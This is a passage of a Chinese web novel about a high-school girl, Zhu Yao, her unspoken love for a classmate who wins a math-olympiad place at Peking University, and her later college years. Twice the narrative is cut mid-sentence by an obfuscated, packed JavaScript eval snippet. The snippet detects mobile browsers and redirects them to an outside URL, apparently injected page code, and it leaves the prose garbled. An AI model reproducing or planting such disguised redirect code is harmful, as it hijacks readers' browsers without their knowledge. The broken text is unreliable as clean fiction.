“想明白了。曲解我、质疑我、非议我,是因为我还不够厉害。”祝瑶坐直了身体道,“如果我足够厉害,就能让他们全都闭嘴。” 就像那句歌词,“Everythingthatkillsmemakesmefeelalive.” 置我于死地者,必将赐我以后生。 “……啊。”江然眸子暗淡下去,又打起精神,“是啊!也是!” “嗯,你快点吃吧。我还要回去做题。” “哎呀呀,难得歇一歇啦。” “学习一日不可懈怠。” “……申公豹附体,救救这个女孩吧!” 走出了被自身的壳儿包裹住的雨伞,才发现,外面晴空万里。 不过如此。 ** 陈逾白拿了全国数学奥林匹克竞赛金牌、并且成功入选国家集训队的消息传来,全校为之沸腾,校领导特地为他做了条横幅,挂在校门口,路过的狗都得看两眼。 与此同时,这也意味着——陈逾白保送了,保送全国最高学府。 令人艳羡,也令人望尘莫及。他再也不用像普通高中生一样,每天早六晚十,重复做卷,频繁刷题。更意味着,他可以不用来上学了。 她研究过奥赛的,他还接下来还有很多事情要做,还要再进行两轮的集训角逐,如果幸运,就会从60个人中杀出重围,成为代表国家参加IMO(国际数学奥林匹克)的八个人之一。 祝瑶心情很复杂,一方面又真挚地祝福他得偿所愿,另一方面又在想,他可不可以不走啊…… 三年那么长,三年那么短,可这还没到三年,就要说再见了吗? 高三上期末考试是T8模式(八省联考),正好测评新高考改革以来,学生们在自己本省的定位。 考试当天,所有程序、流程都按照高考来办,座位安排也同样如此,各学校混考,考位随机。 祝瑶是在考试结束时,才在离开的人潮中听见议论说,许久未见的陈逾白也来了。 他……竟然来参加考试了?明明没有必要的,为什么呢? 没有人知道原因。也许,他只是想体验一下,来考着玩玩儿吧。 这场考完就放假了,成绩是在下学期开学才出的。与其他任何一次考试不同的是,校方不知道学生的成绩,只能由考生登录上省考试院官网查看。 当天晚自习,整间教室人声鼎沸,有手机的,求神拜佛飞速查完;没手机的只能借用,或者去办公室找老师查。 祝瑶查到成绩的时候,老师捧着玻璃杯喝茶的动作都顿住了。他大概也没想到她这么快就能调整心态杀回来,所以只是简单宽慰和鼓励了几句。 由于学校要统计成绩,所以每个人都得报告查到的成绩,第二天大家就拿到了班级、年级排名。 “陈逾白这么久没来学校,还考第一啊?” “太夸张了,听说他成绩被屏蔽了,只看到了省排名范围。” “除了他之外,没人的成绩被屏蔽,这可不就是第一了。” 祝瑶听着他们讨论的话题又换了一茬,整理书的动作微微一顿,随后又自然地把东西塞进抽屉。 又要换座位了。 她没抱多大希望他会来。 假如他不来,那么这其实就是普普通通的一天,和其他任何一天没有任何不同。即使要换座,也是拖桌子挪椅子,一个人就能干完全部的活儿。 她看向书桌出神的那几秒里,忽然听见一道近在咫尺的熟悉声音。 “换座位,要同桌帮个忙吗?” 祝瑶仿若被雷电击中,不太敢确定地往出声处抬头看——陈逾白。 很久没见,他没怎么变。头发剪短了点,原来似乎是遮了些许眉毛来着,人也瘦了点,轮廓愈发清晰,棱角愈发分明。毫无疑问,他正从一个少年向青年蜕变。 你也很辛苦吧。祝瑶想。 别人都说你保送了轻松了自由了,可能他们也忘了,你学竞赛并不轻松,高一的时候也为此发泄过痛苦,你拼过的命,一句“天赋如此”就能轻轻松松磨灭掉。 “同桌?”他的手在她眼前晃了晃。 一阵风悄然吹过,扇动窗帘,同时也吹起桌面那本《高考报考指南》里夹着的那页纸,黑色签字笔,字迹娟秀,一笔一划地记录着每一次的来时路。 如果可以,我想和你回到相遇的那一天。 高一上第一次月考:陈逾白,年级1;祝瑶,年级521. 高一上期中六校联考:陈逾白,年级1;祝瑶,年级401. 高一上期末市统考:陈逾白,年级1;祝瑶,年级322. …… 高一下第二次月考:陈逾白,年级1;祝瑶,年级216. 高一下期末市统考:陈逾白,年级1;祝瑶,年级176. 高二上第一次月考:陈逾白,年级1;祝瑶,年级155. …… 高二上期末市统考:陈逾白,年级1;祝瑶,年级88. 高二下期中九校联考:陈逾白,年级1;祝瑶,年级67. 高二下五月月考:陈逾白,年级1;祝瑶,年级30. …… 高三零模:陈逾白,年级1;祝瑶,年级11. 高三上期中:陈逾白,年级1;祝瑶,年级5. 高三上十一月月考:陈逾白,年级1;祝瑶,年级30. …… △T8八省联考:陈逾白,年级1;祝瑶,年级2. 祝瑶把最后一行用红笔画了个着重号,认认真真地批注道: 我做到了。 成为你的同桌。 12. 12 陈逾白回校是来请假的,彼时他手里还抓着张请假条。 高三生的书桌都非常沉重,每次调座位祝瑶都要花很久的时间,一趟接着一趟地分批搬。可是此刻,陈逾白轻轻松松提起她的桌子,手背青筋脉络层叠,腕骨一崩,不出须臾就结束了。 两张相差无几的课桌并排排在一起,仿若两个人的人生有了交集一般。 祝瑶还沉浸在自我情绪中没有回神,恍惚间看他立在她的桌旁冲她笑,还以为自己在做梦,直到又听到周遭的窃窃私语。 “谈恋爱是不是真的有奇效啊?我看祝瑶和江然在一起之后,她怎么成绩越来越好了?” “可能爱情的力量就是很伟大吧?” “对啊,老师也不管了,他俩经常被偶遇一起吃饭啊。” “……” 即使她已经对这些谣言熟视无睹很久了,此时此刻,当着她喜欢的人的面,那种难堪的感觉又回来了。 陈逾白听见了没? 她不知道,即使听见了,她也有没什么立场解释什么。 太无力了,无力到她只是说了一句“恭喜你保送”,都耗尽了全身的力气。 陈逾白沉默了一会儿,望向她的眼神有点复杂,可能也是被她这种“死气沉沉”的样子吓到了吧? “谢谢。”他这么说。 他并没有在班级多停留,紧捏着那张请假申请表就走了。 后来听说,他找了他的那些朋友如江然聚了一聚。再后来的很长一段时间,他再也没有回过学校。 百日誓师、拍摄毕业合照……这些对于高中生们如此重要的节点,他通通都没有来。 每逢这种节点,其实祝瑶都是满怀期望的,那些日子,她的心会莫名其妙地跟着轻盈起来,因为总是会幻想,也许只要她走过楼梯的转角,就能撞上他一袭校服返校,手里拿着一盒插着吸管的柠檬维他。 可惜,每一次的幻想都落空。 月考、一模、二模、三模…… 这些考试里,再也没有出现过他的影子。 他走得干干净净,连同荣誉墙上的那张照片。 那个从前永远保持不变的年级第一的位置,现在也是虚位以待、竞争激励,一直在轮流换着人坐上王座。 像是得了什么诅咒一般,后来祝瑶却从没有一次坐上年级第一的位置,她常常在年级前十打转,彷佛她的上限就到此为止了。 即便这样,老师和家长已经很高兴和满意了。因为这个阶段,绝大数学生的成绩是不稳定的,也许这次第一,下次就能掉到五十名开外,但她却稳定得可怕,彷佛完全不受其他客观因素的干扰。 可祝瑶事实上是难受的。 曾经写下的愿望“我想得到年级第一”,无论是表面直白的年级第一,还是深藏含义的年级第一,她都没有得到,哪怕只有一次。 大家都很忙,不会因为谁的离开就停止脚步,只是一直断断续续听别人说: 陈逾白过了第一轮集训,陈逾白过了第二轮集训,陈逾白入选了八人国家队。 这些离要高考的普通高中生太远了,大多数人感叹两句,便也就投入了自己苦哈哈的复习生活。 好像只有老师有时候说顺嘴了,会提起:“哎哟我们班的陈逾白呀……” 他大概率要成为下一届、下下届、下下下届学弟学妹眼中的传奇学长了。 祝瑶试图想找寻一点他曾经存在的痕迹,渐渐地都没有办法了。 某天下午,她光顾了很久很久没去的“时间对面”,想将那本满载青涩回忆的《春日》买下来当作纪念。 在以前平常会放置的位置找了好一会儿,却连它的影子都没有看见。她再次仔仔细细地将每一个书架的每一层都找寻了一遍,还是无果,只好到前台去询问。 当天卫景明不在,收银台只有一个人在看店。 祝瑶没有抱太大的希望,毕竟书店的书实在太多了,店员不可能对每一本都有印象。其实这样也好,至少她还可以安慰自己,也许明天过来,那本《春日》就会又突然出现在书架某一个角落。 哪知店员无情地击碎了她的幻想,她不仅有印象,还印象非常深刻:“你说这本啊,我记得前段时间被买走了。” “可是……可是……”祝瑶试图反驳,虽然她知道这很无理取闹,可理智根本无法控制,“这本不是在阅览书架上的吗,应该是非卖品吧?而且,而且都被翻得很破旧了,有些地方都缺角了,看着不崭新不漂亮,怎么会有人买这样一本旧书呢?” 根本没理由啊,不合理啊。 店员小姐姐耐心道:“可能,就有人喜欢这样的呢?即使它破碎、不美丽,但也许在某个特定的人眼里,它就是不可替代的。” 她说:“我记得那位买主进店是直奔那本书而去的,然后立即就来原价付款了,我们也没有理由拒绝啊。” 是呢。因为在她眼里,它就是这样不可替代的书。 她忽然说不出来接下来的话了。 店员姐姐看出她的伤心,安慰道:“这书应该还有库存的,要不我帮你找找?放心吧妹妹,库存的书整洁又崭新,没有一点瑕疵,还没拆封,你肯定会更喜欢的。” 祝瑶落寞地想:不会了,不会更喜欢了。 不会再有和那本一模一样的书了。 她摇摇头说:“不用了姐姐,我不要新的,我……打扰你了,谢谢你。” 总是这样差一步,总是这样运气不好。 她垂头丧气地离开了“时间对面”,竭尽全力扯出一个笑:嘿,没关系啦。 ** 竞赛保送的那些人在夏天来临前离校,走的时候阵仗都很大,围观者有人艳羡,有人自哀。而陈逾白却一直没露面。 他出现在一个无比平凡的午后。 趴在课桌上午睡的祝瑶被细微声响吵醒,一睁开眼差点以为自己出现了幻觉,教室里静悄悄的,周遭睡趴一片,陈逾白不知是什么时候进来的,正俯下身收拾抽屉里的各类东西,课本、题集、试卷……这么长时间以来,每天都会有新的知识材料分发下来,如若不是祝瑶在随时帮他收拾,恐怕他的桌面早就变成了杂乱的回收场,而不是如今这般整整齐齐的模样。 一上一下,两双眼睛无声对视。 太久太久没见,她已然分不清虚幻与真实,她不敢出声,彷佛只是在做一场不想醒来的长梦,但凡醒来后,眼前之景就会变成一散而空的泡沫。 是陈逾白先有了反应。 他竖起食指抵在唇边,伏了伏下颌,提示她不要出声。 祝瑶愣愣地看着他将桌肚里的东西一样一样拾出来,分成两堆,一小堆放进书包里带走,另一大堆对他来说无用的,注定要进垃圾桶。 班里突然有人醒了,对陈逾白的回归惊呼一声,他想要的低调以失败告终。 他被所有同学包围着、簇拥着、询问着、祝福着,祝瑶甚至难以插上一句最简单最朴素的问候:你这段时间过得怎么样? 无法…… 没有办法。 陈逾白收好东西,处理好不要的扔进垃圾桶,然后在一大波人的起哄中离开了教室。 大家七嘴八舌约定着重逢,约定着“苟富贵勿相忘”,约定着“十年”,殊不知对于大部分人来说,这已经是最后一次见面,或者说,是最后一次不带任何目的和杂念的见面,只是简简单单地对未来抱有期待,如此纯粹。 祝瑶看向教室窗外那棵枝桠疯长、今已亭亭如盖的枇杷树,出神了。 为什么呢?为什么总是差一点呢?她努力了那么久,却始终无法和他做一次真正的同桌,明明已经做到了。 明明只差一点了,明明只差一个契机。等到那个契机,她或许就有勇气说出那句“我喜欢你”。 到底为什么呢? 凭什么呢? 这次离校之后,他是真的,真的,真的再也不会回来了。 以后,大概也走向两条不同的人生轨迹,不会交汇,一别两宽,再也不会见面,再也不会有交集。 有一股莫名的冲动涌上心头,她忽然失去那份忐忑的理智,“砰”一声站起来,在本心的驱使下,冲出了教室,冲下了楼梯,冲出了教学楼,一路朝着校门狂奔,企图追赶上那个早已远去的人。 祝瑶从来没意识到一中有这么大,也没意识到一中的大门有那么远。她竭力跑了好久,跑得气喘吁吁,跑得满头大汗,整座校园寂静到她只能听见风声和她急促的喘息声。 终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079732|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于,隔了老远,她的眼睛触及了他的背影。 天儿已经热了,离校门近在咫尺的陈逾白脱了外套,少年脊背削薄,光点落于背部凸点上,忽明忽暗游离。 伸缩大门已经缓缓退开,像是在送别他离开,门顶那条恭贺他奥赛夺冠保送北大的红色横幅还是夺人眼球。 祝瑶喘了口气,见此情景蓦然不知哪来的声量喊道:“陈逾白!” 这大概是她这辈子以来最高的音量了。 陈逾白好像有点顿住了。 祝瑶顾不得其他,她只想着往前走,追上他。 一步。 是眼保健操的铃声中,他看见她流泪递来的那包纸巾。 两步。 是“那听什么人命天定,我说天命由心”,“主角不都是最后才出场吗?” 三步。 是“姓陈的你都讨厌?讲点道理啊,其他人多无辜”,“所以也讨厌陈逾白?” 四步。 是“你是天外来客吗?” 五步。 是那件带着清淡香味的185尺寸的校服外套。 六步。 是“下学期见”。 七步。 是那两颗柠檬味的泡腾片。 八步。 是“没翻过墙的高中是不圆满的,试试?今儿就带你体验一下”,“伸手,我接着你”。 九步。 是那两首恰逢其时的十七岁生日快乐歌。 十步。 是“别动了,眼睛看镜头,这里”,“我看过了,我不是人吗?” 十一步。 是“你就……想象自己拿下了年级第一?” 十二步。 是“怎么样?都给你的”,“借我枕枕”。 十三步。 是数不清多少次的“祝瑶,对不起”。 十四步。 是“我的意思是,要不要试试去北方上大学?” 十五步。 是“很简单啊。人算什么东西?对于广袤无垠的宇宙来说,一粒尘埃、一颗石子?所以人又算什么东西”。 十六步。 是那张记录每次考试排名的成绩单。 十七步。 是“要同桌帮个忙吗”、“同桌?” 她向他走了十七步,一步仿若一年,迄今为止她已经用尽了一生十七年的勇气和力气。 陈逾白停住很久,回头。相距不是那么近,祝瑶看不清他的表情,只是感觉他似乎略低了低头,有那么一瞬的深沉。 她憋了满腹的话想说,可见他直挺挺地立在一起、保安室的叔叔开了个窗探出头来不知所以然,不了解内情地问道:“同学,怎么了?”她倏然一瞬间哑口无言,满腔的话流转在嘴边愣是半个音都发不出来。 “祝你,前途似海!” 前途似海,来日方长。 可拼尽全力,她也只说出了这句前途似海,甚至连下一句“来日方长”都没有奢望。 陈逾白应该听见了,他倒退着走了两步,点了点头。 随后指尖一动,他抄起外套,转身往校门外走,背影之上缓缓升起一只手,象征性地挥了挥,说了再见。黄金般的光将他的影子拉得老长。 校门外熙攘的车水马龙从他面前穿行而过,没多久,渐行渐远,他就成为了那人流中看不清的一个小黑点。 再睁开眼,马路空空荡荡,哪里还能再见到他的影子? 她不自觉地抬手摸了摸眼角,手垂下来时,她缓缓揉搓了几下,在指腹感受到了几滴不合时宜的湿润。 于是这时祝瑶才恍然发觉,原来在这样一个平凡又如此不平凡的午后,她亲眼送别了她喜欢的男生。 陈逾白的高中生涯至此落幕。 祝瑶跌跌撞撞、仓皇生涩的少年期也再不得善终。 她的青春回头看了她一眼,像是在与她告别。 是从那时她才开始渐渐明白:世界宽广,有些船离开停泊的港口后,就再也不会回来了。 人生只有一次少年和真正的夏天。 可祝瑶再也没有拥抱过那样的夏天。 正如—— 那个一生只能爱一次的少年,再也没有回头。 13. 13 “后来呢?” 大学毕业季的夜晚,宿舍四个人在寝室阳台支了张小桌子,在燥热的夏风中,以啤酒、炸鸡、月光……祭奠已经逝去的青春。 真心话大冒险轮到祝瑶,室友问了她有关“初恋”的问题,理由很简单:“就是感觉你大学四年没谈恋爱,是不是心里一直有个人在啊?” 其他室友听了也点点头,翘首以盼等待她说出自己的故事。 彼时校园广播电台正在放歌,楼外的黄色路灯下,一群小飞虫争抢着最明亮的位置。 那歌声在唱:“枫下的秋千,盛夏的暗恋,我们说过要永远在对方身边。走廊的光线,剪影的校园,即将是从前。” 她就这样在这般情景下,一路说到了,陈逾白再也没有回头。 室友听完也觉得遗憾,便顺理成章地问出了那句“后来”:“他既然提议过一起去北方上大学,为什么我们四个在南大相遇了?” “哪有‘一起’去?”祝瑶鼻尖一阵泛酸,“只是他随口一说。” “好好好。那后来到底发生了什么?” “后来……”祝瑶弯唇笑了笑,举起啤酒罐闷了一口,思绪渐渐飘回了四年前的夏天。 四五月,是高校自主招生的高峰期。 一班那段时间班里大半位置都是空的,多的是请假去参加强基计划、综合评价、SAT……每天去教室,都能看到同学拿着各式各样的材料去教务处盖章。祝瑶没参与过理科竞赛没拿过奖项,北大的自招她不够格,转而在老师的推荐下,交了材料去试了南邑大学,以便拿到保底。 省内的学生对本省都有种别样的情感,所以除开北大,南大才是他们这群学子心中的绝对top圣地。 江然也渐渐发现,她想考的其实是北大。后来他用数竞省一的简历,刷进了北大的强基计划,拿到了一本线降分,可以说已经拿到了这学校的入学名额。 那段时间,祝瑶回了趟家。她妈妈生病,做了个手术,大伤元气,家里乱成一窝粥。那个同母异父的弟弟整日闹着脾气,就连吃饭都挑来挑去,她也不惯着他:“爱吃吃,不吃出去挨饿。” 病房里相邻的病人总向她妈妈夸赞,孝顺、有个好女儿、以后能享福…… 等一切好转起来,祝瑶转头就决绝道:“不会有以后了,上大学我会申请助学贷款,工作后我会定期还生育之恩,以后,就不回来了。” 在最渴望爱的年纪从没得到过爱,那么以后也不需要了。 南大自招的结果出来,祝瑶成功入选。唯一出乎意料的是,它历来的规矩是要签协议,签完之后,志愿就会锁档,便填不了其他大学了。即使高考是全省状元,那也只能报南大,与之对应的,它也会承担她高考滑铁卢的风险。 那些日子,各个老师都给出了不同的意见。 “你可以放弃这个保底,冲一冲北大,还是很有希望的。” “我觉得还是签了这个协议。按照你平时的发挥,即使能摸上北大的录取线,也选不了好专业,专业也很重要。” “是啊,稳妥点好。” “确实很难选……风险和机遇并存。” 最后使她下定决心的,是南大承诺给予她的全额奖学金。 祝瑶签完协议,就像是被抽干了全身的精气神。 永远在梦中的北大…… 她没有机会了。 永远在未来的陈逾白…… 她也没有机会了。 陈逾白,走得太快了。打了个照面,就只剩下他背影的残骸。 她在约定着“试试去北方读大学”的操场抱膝大哭了一通,仿若用尽全身的力气也无法释怀,因为她怪不了其他任何人。哭到精疲力竭,才如同行尸走肉一般回到了教室。 江然在她旁边站立了会儿,然后舒展眉头,轻飘飘地撕掉了他那张北大自招通过书。 白花花的碎片掉在她的桌面,就像夏季那场永远无法放晴的雨。 祝瑶震惊地掀起肿胀的眼皮,然后听到他轻轻松松地说:“哎呀,这一眼望得到头的人生有什么意思。南大的天文系全国第一,我要考这个。” “等着啊,哥们来给你继续当校友。”他说。 不出意外地,他被老师们围攻了,此后的每一天不是在办公室,就是在教室、走廊被抓走谈心。但他意志坚定,一直没改变想法。 可想而知,他也会成为下届、下下届、下下届学弟学妹们眼中的传奇学长,不过应该是反面教材。 高考如约而至。 祝瑶写这套卷子写得特别顺,数学甚至还有时间和余力检查了两遍,收卷的时候她并没有感到尘埃落定,反而产生了无尽的惆怅和耿耿于怀。 最后一科考完,祝瑶走出考场,才发现居然下过一场淋漓大雨,天空被洗净,树叶被浇透,正如她这一路坎坎坷坷、颠沛流离的高中生涯。 考完回校估分,大批量的书本、试卷被撕碎了从楼上往下扔,大喊、咆哮、发泄……高三这一年所有积压的情绪都被释放了出来。 祝瑶没有估分,对她来说已经没必要了。 再后来,所有人齐聚在走廊栏杆边,不知道谁起了个头,一场大合唱就这么开始了。这时候没有人在意进没进对拍、在不在调上、破没破音。 “晚风吹起你鬓间的白发,抚平回忆留下的疤,你的眼中明暗交杂,一笑生花。” 楼层里满满当当的人群嘈杂一片,笑着,哭着,闹着:“以爱之名,你还愿意吗?” 黄昏余晖透过郁郁葱葱的树叶空隙,斑驳地投射到教学楼的墙体上,留下朦胧的光点。那一瞬间,祝瑶好像看见了陈逾白的倒影。 他意气风发地勾着嘴角,扬着眉,肩线宽阔,校服短袖的扣子散了一颗,露出修长的脖颈,那股少年气,顺着夏天的风扑面而来。 她心脏沉重到仿佛刚刚经历一场地壳运动。 嘿,陈逾白。 怪我,始终没等到那个契机。 命运永远这么会捉弄人,高考出分,祝瑶发挥极佳,高出了这年北大的录取线八分。却拿着这个成绩,按照协议报了南大,以一己之力刷新了南大历史以来的最高录取分。 走过,路过,最终还是错过。 “就是这样了。”室友们听得格外认真,神色几乎谈得上是扼腕叹息,祝瑶倒没有什么反应,继续有一搭没一搭地灌着啤酒。 “所以你,一直在等他?” “没有啊。”祝瑶坚决地否决,她淡淡地笑,“我没有在等他。我只是……只是再也喜欢不上别人了。” 真的,只是再也喜欢不上别人了。 她没有说谎。 因为没有人像他。 “这也太难受了啊。”室友说,“所以你上了大学后,就再也没有和他有任何联系了?” “嗯……”有吗? 他们一南一北,哪来的交集呢? “有一次……算有吧。” “说!” 祝瑶:“还记得,我大一去北行看演唱会那次吗?” “当然记得啊,印象巨深刻,我当时还说你突然魔怔了一样,竟然开始追星了。”室友刹那间反应过来,“所以,你不是因为追星去看演唱会的?你是去看他的!” 是啊,是去看他的。 那年是人生的一道分界线。 上半年还被高考裹挟着前行,下半年已经成了不受束缚的大学生。 祝瑶打了一个暑假的工,她能做的其实很少,白天家教辅导学生,晚上餐饮店值班,两个月过去,开学的时候也存下了一笔小钱。开学后,更是勤勤恳恳,在上课之余,无缝在学校勤工俭学。 某天晚上,祝瑶突然向宿舍其他人宣布,自己要独自去北行看一场演唱会。 室友们都觉得她疯了:“你辛辛苦苦攒那么多钱,就为了看一场演唱会?姐妹,我不得不说你脑子进水了,你知道演唱会票价多贵吗?你到底有多喜欢这个明星啊?我跟你说,追星要量力而行!而且门票是其中一项很小的开支了,还有来回路费呢?住宿费呢?你一个人去安不安全,你考虑过吗?” 考虑过了。 正是因为考虑过了,她才一定要去的。 “就这一次。”祝瑶的神情是谁也劝不动的固执,“最后一次了,以后再也不会去了。” “唉!”室友恨铁不成钢地说,“疯了,疯了,真是疯了!” 北行距离南邑足足有一千公里,那时候的她觉得,远得像一辈子都看不到头。 最后选择的交通工具是绿皮火车,二等硬座,夜间1点11分发车,次日中午12点半到达北行南站,一共耗时大概11个小时,耗费大约一百多块钱。 那是她第一次一个人出远门,长时间的硬座,让她腰疼背酸。 可是想到能见到他,好像又觉得一点都不辛苦。 坐在旁边的女生,惊喜地问道:“你也是去北行看xxx演唱会的吗?” 女生的喜欢明目张胆,恨不得让全世界知晓。 祝瑶先愣了一下,眼底的迟疑让女生误认成默认,她兴奋地问到:“你有微博吗?咱们可以互关一起交流啊!” 她很抱歉地摇了摇头。 不是因为没有微博,而是,她曾经发布的每一条博文,都是她已经风干的,少女心事的遗骸。 她那时想,如果有人问她是不是喜欢陈逾白,她恐怕还是会下意识否认。 她也很羡慕那些可以大大方方将爱意说出来的人。 是什么时候变成这样的呢? 明明不久之前,她只要在一中一抬眼,就能看见他的背影。走廊上熙攘打闹的声音不绝于耳,而她总能精准辨认出别人玩笑时叫他的名字。 “陈逾白?” “陈逾白。” “陈逾白!” 然后他会回头,反手打回去,和起哄的人群笑作一团。 阳光倾洒而下,吹来了一个夏天燥热的风。 可是现在,他是她跨越人山人海,也许才能见一面的人。 火车硬座难捱,到达北城南站,祝瑶背着包下车时,感受到一股无名的情绪。她茫然地在穿梭的人群中站立着,看着周围熙熙攘攘,却觉得自己在这座陌生的城市孤独无依。 祝瑶在这个人来人往的大城市漫无目的地漂着,最后走到北大的门口。 她看着门口那四个字烫金的校名,一遍又一遍,很想哭。 为这一路的奔波。 为自己。 为他。 外来访客不能轻易进大学校园,祝瑶在外面踌躇半天,才终于遇到一位善解人意的学姐,问她怎么了。 祝瑶回答说:“我想进去看看,找一个人。” “行,我带你进去吧。”她就这么混进了这偌大的校园。 “知不知道他在哪个学院?”学姐问。 祝瑶点头,报出了名字。 “我也是欸。”学姐挑了挑眉,有点好奇地问,“你找的不会是陈逾白吧?” 听到这个名字,她心陡然一颤。 祝瑶……祝瑶不敢回答。 “没有记错的话,这两天新生球赛,他应该在篮球场。”她给指了路,“我还得去上课,那就拜拜啦。” 阴差阳错,阳错阴差,曾经壮志满酬地要考上北大,最后终于光临时,心彷佛死了一般寂寥。 校园里人来人往,球场中熙熙攘攘。 隔着围栏,祝瑶一眼认出那个少年。她费力地去看。 19岁的他和她记忆中的几乎没有区别。 可围观者好似要震破耳膜的尖叫声和呐喊声提醒着她,还是不一样了。 她这一层同学身份,终究抵不过人山人海的山呼海啸。她不过只是里面一条找不到方向的小鱼。 就只是这么看着,祝瑶泪流满面,泣不成声。 过了很久,她解锁手机,打开相机,调整为前置摄像头,悄无声息地和球场里那个人合了张照片。 来的路上,她费尽心思,思考见到了要说什么,如果他问她来做什么她该怎么回答,如果他问她为什么最后报考了南大她该怎么回答……都没用上。她没有丝毫的勇气,也没有丝毫的底气去回答这些问题。并且,她也不得不承认,或许陈逾白已然忘记了她。他有了新的同学,新的生活,过往都成为了序章。 她久久耿耿于怀的到底是什么? 是故事的结局本不该如此,是她从始至终没有表达过自己的心意,还是,她没有跟他认真道过别? 散场了。校道上满是学生,人声鼎沸,他们兴奋地在讨论刚才那场球赛。 风燥热难耐。祝瑶出来后,不自禁回头看了一眼气势恢宏的校门,然后慢慢地扭头离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083373|163443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝瑶没订酒店,不知道该去哪儿。 她没有能力住得起北行的酒店。 祝瑶一个人轧了北行夜晚空空荡荡的马路。到了凌晨两点,才进了一家24小时营业的肯德基,趴在桌上极浅地睡了俩小时。 从北行南站返回南邑的路上,她见证了一辆高铁从她所乘坐的火车旁呼啸而过,一个照面之后,就连高铁的尾巴都瞧不见。 短暂交集之后,渐行渐远。 她想,原来有些人从遇见开始,和他就在倒计时;原来拥有的同时,也在失去。 就到这儿吧。 至少她好好告过别。 * “这也算有联系??”室友气得牙痒痒,“你都去北行找他了,至少打个照面说句话啊!” “是啊!你这算什么!他又不知道。” “唉,但我是可以理解瑶瑶的。如果是我,好像也很难说出口。” 祝瑶道:“其实我只是觉得,当时不是一个好的契机。” 那时的她对未来一无所知,欠着助学贷款等一屁股的债,在什么方面都没有拿得出手的成就,实在不知道该怎么面对陈逾白。 “现在呢?”第一个室友问,“现在是个好的契机吧?还完了助学贷款,奖学金到手有了底气,最最最重要的是,还保研了北大!” “对啊对啊!你保研北大了!不要让自己留遗憾啊!” “我不信,你那次从北行回来后,所做的努力,全然没有他的因素在。” 那年从北行绿皮回来,祝瑶罹患一场高烧,那晚烧得整个人神志不清。 病因不明,可能是因为短时间两次长途奔波,可能是因为凌晨露宿街头,也可能是因为情绪大起大落。 室友们很是心疼,摸着她额头探温度的时候问:“就这么喜欢那明星?值得吗?” 很难说值不值得。 爱本就是无解的命题。 但当时,祝瑶给她们的回答是,“结束了。以后不会这样了。” 她的确没有再做这种傻事。大二那年,她开始把全部的时间和精力都放到专业课的学习上。 她一直在做项目、参加比赛、考各种证、尝试发论文,每天忙得脚都不沾地。因为太忙了,她渐渐习惯不去想起他。 大三下,她拿到校内推免研究生的资格,参加了各所高校的保研夏令营,直到大四开学才渐渐闲下来,最后保研被北大拟录取。 空闲下来,她才后知后觉地发现,自己对高中时的记忆越来越模糊。 她好像快要忘记他了。 她好像,真的已经放下了,也释怀了。 然而这个念头被很快打破。 大学四年,追求她的人不少,但她没有谈过一次恋爱。遇见过很多人,她还是觉得,好像没办法再喜欢上其他人。快毕业的时候,她想,要不然就妥协一次,不试试怎么就知道没办法呢。 她在室友的介绍下去见了一个同龄男生,对方很优秀,人也不错。 可是当他看向她的那两秒,就是这两秒钟,让祝瑶恍然发觉,哦,原来她从来都没忘记。 要怎么才能忘记? 要什么时候听到他的名字,才不会有心上被开了一枪的破碎。 要如何让卑劣染上童话色彩。 她根本就做不到。 那天她委婉地拒绝了那个男生想继续和她发展的提议,回去之后,晚上断断续续做了很多梦,几乎都是在一中时的一些片段。 梦中,穿着校服的陈逾白轻轻扬起一个笑,造成她一生的失守。 * 那个晚上的夙夜谈心后,在室友的鼓励下,祝瑶有了一点信心。 她想,那就再试一次吧,等下半年研究生到了北行。 第二天还约了校内的摄影师拍宿舍学士服毕业照,宿醉之后头脑总是昏昏沉沉,但睡醒之后就在洗漱装扮,誓要给大学留下最后一抹色彩。 拍得差不多结束时,她接到高中同学严薇的电话,说有东西要给她。 祝瑶和严薇并不怎么熟悉,高中如此,大学亦如此。只不过一中考上南大的学生拉了个群,他们俩都在群里。偶尔,校内组织学生活动时也能碰见,顶多是点头打个招呼的关系。 “什么东西?”祝瑶疑惑。 严薇:“来了就知道了。我在xx巷口等你。” “……哦。” 严薇:“晚上有空吗,顺便一起吃个饭?” “啊?”祝瑶婉拒,“不了吧,我晚上已经有约了。” “江然吗?” 祝瑶没有多说,含含糊糊地“嗯”了声。 “行。” 祝瑶怕让她多等,也没回去换衣服,就这么提着学士帽一路往她所在的位置赶。 严薇立在一辆车旁在刷手机,见她来了,将手机息屏。 其实她要交给祝瑶的东西是一件毕业礼物,听她的意思是,她给一中校友群的每一位都准备了。 祝瑶在心里暗自感慨了一番她实在会做人,也实在念旧,就礼貌地说了声谢谢,还道:“辛苦你跑一趟了。” 意思就是,到这儿咱们就可以说再见了。 哪知严薇没打算这么轻易放过她,反而一反常态,一直在跟她闲聊拉家常,硬生生让她在巷口多站了二十分钟。 祝瑶也不好驳了她的面子,便就这么有一搭没一搭地尬聊着。 聊记忆已然不深的高中生活,聊老师、同学近况,聊……陈逾白。 “你听说了吗?”严薇告诉她,“他要出国读研了。” 没有。 没有听说过。 没有人和她说。 有一瞬间,她们俩都沉默了。 祝瑶沉寂已久的心再一次痛起来,是那种闷闷的痛,像是被十七八岁时候的大雨浸润了太久,直到这一天,才终于发现它早就生锈了,一动就咔嚓咔嚓地疼。 她只觉得这太像欧·亨利式的小说结尾了。意料之外,情理之中。 